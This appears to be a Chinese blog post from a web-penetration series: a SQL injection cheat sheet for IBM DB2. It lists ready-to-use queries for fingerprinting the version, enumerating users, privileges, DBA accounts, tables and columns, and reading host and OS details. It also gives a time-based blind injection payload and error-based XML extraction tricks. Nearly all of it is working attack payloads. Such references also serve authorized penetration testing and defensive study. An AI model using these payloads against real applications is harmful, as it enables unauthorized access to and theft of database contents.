WEB渗透Web突破篇-SQL注入（DB2）

WEB渗透Web突破篇-SQL注入（数据库判断）-CSDN博客

WEB渗透Web突破篇-SQL注入（MYSQL）-CSDN博客

WEB渗透Web突破篇-SQL注入（MSSQL）-CSDN博客

WEB渗透Web突破篇-SQL注入（Oracle）-CSDN博客

WEB渗透Web突破篇-SQL注入（PostgreSQL）-CSDN博客

WEB渗透Web突破篇-SQL注入（SQLite）-CSDN博客

WEB渗透Web突破篇-SQL注入（DB2）-CSDN博客

WEB渗透Web突破篇-SQL注入（SQLMAP）-CSDN博客

版本

select versionnumber, version_timestamp from sysibm.sysversions;
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info

注释

--

当前用户

select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1

列出用户

DB2 使用操作系统帐户
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous

列出权限

select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies

列出 DBA 帐户

select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’

当前数据库

select current server from sysibm.sysdummy1

列出数据库

select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;

列出列

select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat

列表表

select table_name from sysibm.tables
select name from sysibm.systables

从列名中查找表

select tbname from sysibm.syscolumns where name='username'

选择第 N 行

select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only

选择第 N 个字符

select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b

按位与/或/非/异或

select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot

ASCII 值

Char  select chr(65) from sysibm.sysdummy1 -- returns 'A'

字符 -> ASCII 值

select ascii('A') from sysibm.sysdummy1 -- returns 65

Cast

select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1

字符串连接

select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'

避免引用

SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too

时间延迟

重查询，例如：如果用户以 ascii 68 ('D') 开头，将执行重查询，延迟响应。但是，如果用户不以 ascii 68 开头，则不会执行繁重的查询，因此响应会更快。

' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 

序列化为 XML（基于错误）

select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.

命令执行和本地文件访问

只允许从程序或 UDF 中使用。

主机名/IP 和操作系统信息
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
数据库文件的位置
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
系统配置
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg